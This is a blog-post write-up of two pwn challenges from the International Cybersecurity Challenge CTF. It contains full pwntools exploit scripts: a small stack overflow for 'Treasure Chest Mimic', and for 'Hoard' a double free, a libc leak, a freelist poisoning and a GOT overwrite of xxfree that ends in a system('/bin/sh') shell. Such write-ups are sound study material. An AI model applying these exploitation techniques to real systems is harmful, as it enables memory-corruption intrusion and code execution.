Post

International Cybersecurity Challenge (ICC) Writeup

International Cybersecurity Challenge (ICC) Writeup

International Cybersecurity Challenge (ICC) - Tokyo Japan

In this blog post, I’ll be sharing writeups for some of the challenges I solved during the International Cybersecurity Challenge (ICC). This writeup is coming a bit later than planned, but better late than never 😄

I also wrote a separate post covering my overall experience and journey throughout the competition, which you can check out here.

These are the challenges I solved during the competition, completing 3 out of the 6 available challenges:

  • Treasure Chest Mimic (8/8)
  • Global Sort (8/8)
  • Hoard (3/8)

Treasure Chest Mimic

Challenge Information

  • Name: Treasure Chest Mimic
  • Desc: A Mimic appears!
  • Author: hugeh0ge

Challenge files are available: link

Program Analysis & Exploitation

After decompressing the archive we get the files extracted in a directory called mimic.

1
2
3
4
5
6
7
8
9
10
11
12
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure$ tar xf firectf_icc-2025-whylz_distfiles_mimic-8bbd269ee3959e7ef2767e5158227761.tar 
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure$ ls
firectf_icc-2025-whylz_distfiles_mimic-8bbd269ee3959e7ef2767e5158227761.tar  mimic
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure$ cd mimic/
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ ls -l
total 36
-rwxr-xr-x 1 mark mark 16448 Jan  1  1970 chal
-rw-r--r-- 1 mark mark  1168 Jan  1  1970 chal.c
-rw-r--r-- 1 mark mark   128 Jan  1  1970 docker-compose.yml
-rw-r--r-- 1 mark mark   356 Jan  1  1970 Dockerfile
-rw-r--r-- 1 mark mark    25 Jan  1  1970 flag.txt
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ 

We are given the whole challenge setup including the source code.

Here are the docker related files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ cat docker-compose.yml 
services:
  mimic:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "5011:5011"
    privileged: true
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ cat Dockerfile 
FROM ubuntu:24.04

RUN apt-get -y update --fix-missing
RUN apt-get -y upgrade
RUN apt-get -y update --fix-missing

FROM pwn.red/jail@sha256:ee52ad5fd6cfed7fd8ea30b09792a6656045dd015f9bef4edbbfa2c6e672c28c
COPY --from=0 / /srv
RUN mkdir /srv/app
COPY ./chal /srv/app/run
COPY ./flag.txt /srv/app/

ENV JAIL_MEM=100M JAIL_TIME=300 JAIL_PORT=5011
EXPOSE 5011
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$

Nothing out of the ordinary, here are the binary security mitigations and protections:

1
2
3
4
5
6
7
8
9
10
11
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ file chal
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0a79945194cf53d84202f368d4ec9dfb04562ed8, for GNU/Linux 3.2.0, not stripped
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ checksec chal
[*] '/home/mark/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic/chal'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$

There’s no Stack Canary and it was compiled with Partial RELRO meaning the Global Offset Table is writable.

Since we are provided with the source code there’s no need for reversing.

Here’s the source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*
 *  gcc chal.c -o chal -fno-stack-protector
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int cnt;
char MIMIC_NAME[] = "Name: Mimic1";
char MIMIC_HP[] = "HP: 144";
char MIMIC_MP[] = "MP: 255";

void read_line(char *buf) {
  for (int i=0; i<32; i++) {
    int c = getchar();
    if (c == EOF || c == '\0' || c == '\n') {
      buf[i] = '\0';
      return;
    }

    buf[i] = (char)c;
  }
}

int main(void) {
  setbuf(stdout, NULL);

  char status[28];
  memset(status, '\xff', sizeof(status));

  puts("Mimic: If you can mimic me, I will give you the flag!");

  while (1) {
    int give_more_chances = 0;

    read_line(status);

    cnt = 0;
    cnt += strcmp(status, MIMIC_NAME) == 0;
    cnt += strcmp(status+sizeof(MIMIC_NAME), MIMIC_HP) == 0;
    cnt += strcmp(status+sizeof(MIMIC_NAME)+sizeof(MIMIC_HP), MIMIC_MP) == 0;

    if (cnt == 3) {
      puts("Mimic: Well done! You perfectly mimicked me :)");
      system("cat ./flag*");
      return 0;
    }

    if (cnt >= 2) {
      give_more_chances = 1;
    }

    if (!give_more_chances) break;

    puts("Mimic: Almost! I give you another chance.");
  }

  puts("Mimic: You failed.");
}

There really isn’t much code involved here, and the objective becomes fairly obvious after a quick look through the code.

Our goal is to make the variable cnt equal to 3, which causes the program to print the flag.

To better understand the challenge, here’s a simplified overview of the program’s behavior.

A stack buffer named status is initialized with the value 0xff at the start of execution. The program then enters a loop where it resets the variable give_more_chances to 0 before reading up to 32 bytes of user input into status.

Afterwards, the program compares our input against several predefined strings. For every successful match, cnt is incremented, and once all checks succeed, cnt becomes 3.

If cnt is greater than or equal to 2, the program updates give_more_chances to 1, allowing us another attempt at the comparison logic. Otherwise, execution breaks out of the loop and the program exits.

So the goal is clear:

  • Ensure our input satisfies the required string comparisons
  • Reach a final value of cnt == 3

Here’s the snippet responsible for the check

1
2
3
4
5
6
7
8
char MIMIC_NAME[] = "Name: Mimic1";
char MIMIC_HP[] = "HP: 144";
char MIMIC_MP[] = "MP: 255";

cnt = 0;
cnt += strcmp(status, MIMIC_NAME) == 0;
cnt += strcmp(status+sizeof(MIMIC_NAME), MIMIC_HP) == 0;
cnt += strcmp(status+sizeof(MIMIC_NAME)+sizeof(MIMIC_HP), MIMIC_MP) == 0;

Although it seems very straight forward but it actually isn’t.

Firstly we can calculate the total length of the expected string:

1
2
3
4
5
6
mark@rwx:~/Desktop/Writeups/h4ckyou.github.io$ python3
Python 3.12.3 (main, Mar 23 2026, 19:04:32) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> len("Name: Mimic1 ") + len("HP: 144 ") + len("MP: 255 ")
29
>>>

The extra space character is to account for null termination in C-strings.

So we have it, we just need 29 bytes (although the buffer can only hold up to 28 bytes).

An idea would be to just arrange the string sequentially in memory as it expects.

But trying that wouldn’t work, as you can see here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ python3 solve.py 
[*] '/home/mark/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic/chal'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Starting local process '/home/mark/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic/chal': pid 10301
[DEBUG] Sent 0x1e bytes:
    00000000  4e 61 6d 65  3a 20 4d 69  6d 69 63 31  00 48 50 3a  │Name│: Mi│mic1│·HP:│
    00000010  20 31 34 34  00 4d 50 3a  20 32 35 35  00 0a        │ 144│·MP:│ 255│··│
    0000001e
[*] Switching to interactive mode
[*] Process '/home/mark/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic/chal' stopped with exit code 0 (pid 10301)
[DEBUG] Received 0x49 bytes:
    b'Mimic: If you can mimic me, I will give you the flag!\n'
    b'Mimic: You failed.\n'
Mimic: If you can mimic me, I will give you the flag!
Mimic: You failed.
[*] Got EOF while reading in interactive

The code:

1
2
3
4
5
6
7
8
9
10
11
def solve():

    string_one = b"Name: Mimic1\0"
    string_two = b"HP: 144\0"
    string_three = b"MP: 255\0"

    payload = string_one + string_two + string_three
    
    io.sendline(payload)

    io.interactive()

But why?

Well, if you look at the function read_line:

1
2
3
4
5
6
7
8
9
10
11
void read_line(char *buf) {
  for (int i=0; i<32; i++) {
    int c = getchar();
    if (c == EOF || c == '\0' || c == '\n') {
      buf[i] = '\0';
      return;
    }

    buf[i] = (char)c;
  }
}

It stops reading if it encounters EOF, null byte or new line

Btw End Of File (EOF) is just -1..

1
#define EOF (-1)

Another condition for it to stop is if the loop reaches 32.

Also, remember that strcmp stops comparing once it hits a null byte (read the man page 😄)

This means we can’t just place null bytes between the strings we want to match, since the comparison would stop immediately and the remaining checks would fail.

There’s a bug in this program though, a buffer overflow, although it only gives us 4 bytes write past the bounds of the status buffer.

Looking at the stack view in IDA, we see that after status is the give_more_chances variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[28]; // [rsp+0h] [rbp-20h] BYREF
  int v5; // [rsp+1Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  memset(s, -1, sizeof(s));
  puts("Mimic: If you can mimic me, I will give you the flag!");
  while ( 1 )
  {
    v5 = 0;
    read_line(s);
    cnt = 0;
    cnt = strcmp(s, MIMIC_NAME) == 0;
    cnt += strcmp(&s[13], MIMIC_HP) == 0;
    cnt += strcmp(&s[21], MIMIC_MP) == 0;
    if ( cnt == 3 )
    {
      puts("Mimic: Well done! You perfectly mimicked me :)");
      system("cat ./flag*");
      return 0;
    }
    if ( cnt > 1 )
      v5 = 1;
    if ( !v5 )
      break;
    puts("Mimic: Almost! I give you another chance.");
  }
  puts("Mimic: You failed.");
  return 0;
}

We can overwrite that variable, but it’s only useful for the check that verifies whether it is non-zero, giving us another chance to get the flag.

The reason it’s only useful there is because the variable gets reset to zero at the beginning of every loop iteration.

What now?

Well we somehow need to pass in null terminated strings while ensuring that we get another chance.

Recall that after the status buffer is the give_more_chances, this means there’s a way to make the third strcmp check to pass.

It would pass if give_more_chances is 0, and this is true because it is initialized to zero at the start of the while loop.

Incase this is confusing here’s the stack:

stack_one

1
[STRING ONE] [STRING TWO] [STRING THREE] [GIVE MORE CHANCE VARIABLE]

Because give_more_chances is at the point of the strcmp check this means we can make string three comparism pass.

The way to achieve this is to leverage the buffer overflow to overwrite the variable to 1 and as well set string three (no need to add null byte).

On the second chance, we simply update string two, then the check would be true for string2 & string3 giving us another chance.

On the third chance we set string one, and all checks will be true.

With that cnt becomes 3 and we get the flag.

Here’s the solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('chal')

context.terminal = ['gnome-terminal', '--maximize', '-e']
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
brva 0x1302
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()


def solve():

    string_one = b"Name: Mimic1"
    string_two = b"HP: 144"
    string_three = b"MP: 255"

    size_one = len(string_one) + len(string_two) + 2
    payload = b"A"*(size_one) + string_three + b"\x01"
    io.sendline(payload)

    size_two = len(string_one) + 1
    payload = b"A"*(size_two) + string_two
    io.sendline(payload)

    io.sendline(string_one)
    
    io.interactive()


def main():
    
    init()
    solve()
    

if __name__ == '__main__':
    main()

Running it, we get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mark@rwx:~/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic$ python3 solve.py 
[*] '/home/mark/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic/chal'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Starting local process '/home/mark/Desktop/Kali/Desktop/CTF/ICC25/Treasure/mimic/chal': pid 14124
[*] Switching to interactive mode
Mimic: If you can mimic me, I will give you the flag!
Mimic: Almost! I give you another chance.
Mimic: Almost! I give you another chance.
Mimic: Well done! You perfectly mimicked me :)
ICC{dummy flag for test}
[*] Got EOF while reading in interactive

Hoard

Challenge Information

  • Name: Hoard
  • Desc: Hoarding flags in a CTF is a shameful behavior and should be stopped.
  • Author: ptr-yudai
  • Link: http://hoard.org/

Challenge files are available: link

Program Analysis & Exploitation

We are provided with this files

1
2
3
4
5
6
7
8
~/Desktop/CTF/ICC25/Hoard/hoard ❯ ls -l
.rw-r--r-- mark mark 165 B  Thu Jan  1 00:00:00 1970 compose.yml
.rw-r--r-- mark mark 424 B  Thu Jan  1 00:00:00 1970 Dockerfile
.rw-r--r-- mark mark  11 B  Thu Jan  1 00:00:00 1970 flag.txt
.rwxr-xr-x mark mark  16 KB Thu Jan  1 00:00:00 1970 hoard
.rwxr-xr-x mark mark 473 KB Thu Jan  1 00:00:00 1970 libhoard.so
.rw-r--r-- mark mark 749 B  Thu Jan  1 00:00:00 1970 main.c
.rw-r--r-- mark mark  43 B  Thu Jan  1 00:00:00 1970 run

Kinda weird the timestamp all shows Thu Jan 1 1970 when today’s date is Wed Nov 12 2025

Looking through the docker file:

1
2
3
4
5
6
7
8
9
10
11
12
FROM ubuntu:24.04@sha256:04f510bf1f2528604dc2ff46b517dbdbb85c262d62eacc4aa4d3629783036096 AS base
RUN apt-get update && apt-get install libstdc++6
WORKDIR /app
ADD --chmod=555 run .
ADD --chmod=555 hoard .
ADD --chmod=555 libhoard.so .
ADD --chmod=444 flag.txt /flag.txt
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt

FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=300 JAIL_CPU=100 JAIL_MEM=10M

It basically just generates a random file name (this probably suggesting our goal is to get code execution) before setting up the red pwn jail.

So the important files we need to check now are: run, hoard & libhoard.so

The first file: basically sets the LD_PRELOAD variable to the shared library libhoard.so

1
2
#!/bin/sh
LD_PRELOAD=./libhoard.so ./hoard

We are given the binary source code so there’s no need for reverse engineering…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void reads(const char *prompt, char *buf, size_t len) {
  write(1, prompt, strlen(prompt));
  for (size_t i = 0; i < len; i++) {
    if (read(0, buf + i, 1) != 1)
      _exit(1);
    if (buf[i] == '\n') {
      buf[i] = '\0';
      break;
    }
  }
}

unsigned readi(const char *prompt) {
  char buf[0x10] = { 0 };
  reads(prompt, buf, sizeof(buf)-1);
  return (unsigned)atoi(buf);
}

char *note;

int main() {
  for (size_t i = 0; i < 0x100; i++) {
    switch (readi("> ")) {
      case 1: reads("data: ", note = malloc(8), 8); break;
      case 2: write(1, note, strlen(note)); write(1, "\n", 1); break;
      case 3: free(note); break;
      default: _exit(0);
    }
  }
  _exit(0);
}

Pretty straight forward code

  • We can make up to 256 allocations where the size is constant
  • The pointer is stored in the global variable note
  • We can free the pointer stored in note as many times as we want

Some things to take note of:

  • No IO functions being used
  • _exit() is used

So now that we know how the code works, how to exploit it?

Well the bug there is pretty obvious, after it frees the chunk it doesn’t set the pointer to null this means we can double free a chunk and as well a Read-After-Free.

From the challenge description and setup code we see that it makes use of the libhoard.so file

I wasn’t familiar with what Hoard meant but luckily the link to the source was given image

So Hoard is essentially a memory allocator, others we have are dlmalloc, ptmalloc, jemalloc etc.

The project is open source so we can grab the source code from: here

Since this is a memory allocator understanding a bit of how the (de)allocations works is necessary (i guess?)

I won’t explain that here, you can read this paper

Hoard allocates memory from the system in chunks we call superblocks. Each superblock is an array of some number of blocks (objects) and contains a free list of its available blocks maintained in LIFO order to improve locality. All superblocks are the same size (S), a multiple of the system page size. Objects larger than half the size of a superblock are managed directly using the virtual memory system (i.e., they are allocated via mmap and freed usingmunmap). All of the blocks in a superblock are in the same size class. By using size classes that are a power of b apart (where b is greater than 1) and rounding the requested size up to the near-est size class, we bound worst-case internal fragmentation within a block to a factor of b. In order to reduce external fragmentation, we recycle completely empty superblocks for re-use by any size class.

Anyways let’s get to exploitation..

First malloc is hooked by the libhoard.so library to call this function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#if defined(__GNUG__)
  void * xxmalloc (size_t sz)
#else
  void * __attribute__((flatten)) xxmalloc (size_t sz) __attribute__((alloc_size(1))) __attribute((malloc))
#endif
  {
    if (isCustomHeapInitialized()) {
      void * ptr = getCustomHeap()->malloc (sz);
      if (ptr == nullptr) {
	fprintf(stderr, "INTERNAL FAILURE.\n");
	abort();
      }
      return ptr;
    }
    // We still haven't initialized the heap. Satisfy this memory
    // request from the local buffer.
    void * ptr = initBufferPtr;
    initBufferPtr += sz;
    if (initBufferPtr > initBuffer + MAX_LOCAL_BUFFER_SIZE) {
      abort();
    }
    {
      static bool initialized = false;
      if (!initialized) {
	initialized = true;
#if !defined(_WIN32)
	/* fprintf(stderr, versionMessage); */
#endif
      }
    }
    return ptr;
  }

And free

1
2
3
4
5
6
7
8
#if defined(__GNUG__)
  void xxfree (void * ptr)
#else
  void xxfree (void * ptr)
#endif
  {
    getCustomHeap()->free (ptr);
  }

Since this is a heap challenge this means we need to do heap related attacks, and we know this allocator manages free list using a LIFO data structure (similarly to Tcache)

But first there’s something that we should take note of

During allocation, hoard first checks if the heap is already initialized and if it isn’t initializes the heap and the memory allocated is gotten from making a mmap syscall

One thing about that is, when a chunk of memory is allocated using mmap the offset between the libc region and that memory is usually a bit constant

So suppose we have an address of an mmap’ed chunk then we can offset it to get the libc base

To achieve this we need to first leak the address of the chunk, and we can do this using a double free

1
2
3
4
5
6
7
8
9
10
11
def solve():
    for _ in range(0x10):
        read(b"A"*8)
    
    for _ in range(2):
        free()
    
    global_heap = write() 
    libc.address = global_heap - 0x3c0160
    info("global heap: %#x", global_heap)
    info("libc base: %#x", libc.address)

With libc leak gotten now we corrupt the pointer in the freelist to gain arb write

Limitation with that is we can only write 8 bytes into the allocated memory…

What now?

Checking the protection on libc we get this

1
2
3
4
5
6
7
8
9
10
11
12
~/Desktop/CTF/ICC25/Hoard/hoard/pew ❯ checksec libc.so.6 
[*] '/home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

So the GOT isn’t writable, but that doesn’t apply to the shared library libhoard.so

1
2
3
4
5
6
7
8
9
10
11
~/Desktop/CTF/ICC25/Hoard/hoard/pew ❯ checksec libhoard.so 
[*] '/home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libhoard.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

The library is mapped into memory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x00005592773dd000 0x00005592773de000 0x0000000000001000 0x0000000000000000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/hoard_patched
0x00005592773de000 0x00005592773df000 0x0000000000001000 0x0000000000001000 r-x /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/hoard_patched  <-  $rip
0x00005592773df000 0x00005592773e0000 0x0000000000001000 0x0000000000002000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/hoard_patched
0x00005592773e0000 0x00005592773e1000 0x0000000000001000 0x0000000000002000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/hoard_patched  <-  $r14
0x00005592773e1000 0x00005592773e4000 0x0000000000003000 0x0000000000003000 rw- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/hoard_patched
0x00007f3dc8400000 0x00007f3dc84a2000 0x00000000000a2000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.34
0x00007f3dc84a2000 0x00007f3dc85d2000 0x0000000000130000 0x00000000000a2000 r-x /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.34
0x00007f3dc85d2000 0x00007f3dc8660000 0x000000000008e000 0x00000000001d2000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.34
0x00007f3dc8660000 0x00007f3dc866f000 0x000000000000f000 0x000000000025f000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.34
0x00007f3dc866f000 0x00007f3dc8672000 0x0000000000003000 0x000000000026e000 rw- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.34
0x00007f3dc8672000 0x00007f3dc8676000 0x0000000000004000 0x0000000000000000 rw-
0x00007f3dc8800000 0x00007f3dc8828000 0x0000000000028000 0x0000000000000000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libc.so.6
0x00007f3dc8828000 0x00007f3dc89b0000 0x0000000000188000 0x0000000000028000 r-x /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libc.so.6
0x00007f3dc89b0000 0x00007f3dc89ff000 0x000000000004f000 0x00000000001b0000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libc.so.6  <-  $r10, $r11
0x00007f3dc89ff000 0x00007f3dc8a03000 0x0000000000004000 0x00000000001fe000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libc.so.6
0x00007f3dc8a03000 0x00007f3dc8a05000 0x0000000000002000 0x0000000000202000 rw- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libc.so.6
0x00007f3dc8a05000 0x00007f3dc8a12000 0x000000000000d000 0x0000000000000000 rw-
0x00007f3dc8b10000 0x00007f3dc8b21000 0x0000000000011000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007f3dc8b21000 0x00007f3dc8b9e000 0x000000000007d000 0x0000000000011000 r-x /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007f3dc8b9e000 0x00007f3dc8bfe000 0x0000000000060000 0x000000000008e000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007f3dc8bfe000 0x00007f3dc8bff000 0x0000000000001000 0x00000000000ed000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007f3dc8bff000 0x00007f3dc8c00000 0x0000000000001000 0x00000000000ee000 rw- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007f3dc8c00000 0x00007f3dc8c07000 0x0000000000007000 0x0000000000000000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libhoard.so
0x00007f3dc8c07000 0x00007f3dc8c0c000 0x0000000000005000 0x0000000000007000 r-x /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libhoard.so
0x00007f3dc8c0c000 0x00007f3dc8c0e000 0x0000000000002000 0x000000000000c000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libhoard.so
0x00007f3dc8c0e000 0x00007f3dc8c0f000 0x0000000000001000 0x000000000000e000 r-- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libhoard.so
0x00007f3dc8c0f000 0x00007f3dc8c10000 0x0000000000001000 0x000000000000f000 rw- /home/mark/Desktop/CTF/ICC25/Hoard/hoard/pew/libhoard.so

So this means if we can overwrite the got of a function here then we can get rip control (limited to just 8 bytes)

Here i can easily get arbitrary 8 bytes write image image

What to do? I did try use one gadget but as expected it failed!

Then i thought of checking the (xx)malloc/free function code path to see if there’s any function pointer that resides in a rw region which i could overwrite to a one gadget but i didn’t do that because i might not find any and even if i did find, one gadget constraint might not be satisfied.

With this, I decided to take the path that would let me either build a ROP chain or call system(“/bin/sh”).

Doing the latter seems much easier, because if I can overwrite xxfree@GOT with system and make the note contain /bin/sh, then it’s profit, right?

Unfortunately it wasn’t as easy as that!

The reason why it doesn’t work is because after allocation the note pointer gets updated to the allocated memory

So here if we overwrite xxfree@got to system and we try to make a new allocation inorder to overwrite note it would make the program exit because the freelist is corrupted so it allocates memory to the function of xxfree itself, so when we attempt to write into that memory read will fail and the program handles that by exiting

image image image image

So yes this is quite a complication…

What now? My goal still remained the same, find a way to write /bin/sh to note

And this is how i achieved it…

Like i initially already said, note contains the pointer to the got of xxfree and this means if we attempt to free it rdi now points to note

So instead of overwriting the got to system, i overwrote it to gets

Doing that, we get an unbounded overflow into the got of the libhoard library

Luckily xxfree@got was before xxmalloc@got image

Basically what this means now is that, we can call gets to overwrite xxfree to system then overwrite xxmalloc to malloc

With this when we allocate a new memory the program would rather use glibc malloc!

And this would enable us to write /bin/sh to the heap and xxfree pointing to system

Recall i said:

  • when a chunk of memory is allocated using mmap the offset between the libc region and that memory is usually a bit constant

In this case i had to run it multiple times because ASLR? makes the offset difference between the libc base and memory different on each run, but there’s still chances of it being the same as the constant i hardcoded

Here’s my local solve script: image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('hoard_patched')
libc = exe.libc
# context.terminal = ['xfce4-terminal', '--title=GDB', '--zoom=0', '--geometry=128x50+1100+0', '-e']
context.log_level = 'info'

def start(argv=[], *a, **kw):
    env = {"LD_PRELOAD":"libhoard.so"}
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, env=env, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.DOCKER:
        p = remote("localhost", 5000)
        time.sleep(1)
        pid = process(["pidof", "hoard"]).recvall().strip().decode()
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
        return p
    else:
        return process([exe.path] + argv, *a, env=env, **kw)


gdbscript = '''
init-gef
brva 0x1384  
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()


def read(data):
    io.sendlineafter(b">", b"1")
    io.sendafter(b":", data)

def write():
    io.sendlineafter(b">", b"2")
    io.recvuntil(b" ")
    leak = io.recv(6)
    return u64(leak.ljust(8, b"\x00"))

def free():
    io.sendlineafter(b">", b"3")


def solve():

    for _ in range(0x10):
        read(b"A"*8)
    
    for _ in range(2):
        free()
    
    global_heap = write() 
    libc.address = global_heap - 0x3c0160
    info("global heap: %#x", global_heap)
    info("libc base: %#x", libc.address)
    
    got = libc.address + 0x40f078
    info("got free: %#x", got)

    try:
        read(p64(got))
        read(b"A"*8)
        read(p64(libc.sym["gets"]))
        free()

        rop = ROP(libc)
        pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
        sh = next(libc.search(b"/bin/sh\x00"))
        system = libc.sym["system"]

        payload = flat(
            [
                pop_rdi,
                sh,
                system
            ]
        )

        io.sendline(p64(libc.sym["system"]) + b"A"*(120-8) + p64(libc.sym["malloc"]))
        read(b"/bin/sh\x00")
        free()

        io.interactive()
    except Exception:
        io.close()


def main():
    for i in range(10):
        init()
        solve()
    

if __name__ == '__main__':
    main()

I really enjoyed this challenge tbh, I at first was in doubt as to whether i should give up on it and try something else, but good thing i pushed harder!

This was my first ICC and my first international onsite CTF, and it was an amazing experience. I really enjoyed the challenges, and I’m hoping to come back stronger for the next edition… watch out!

This post is licensed under CC BY 4.0 by the author.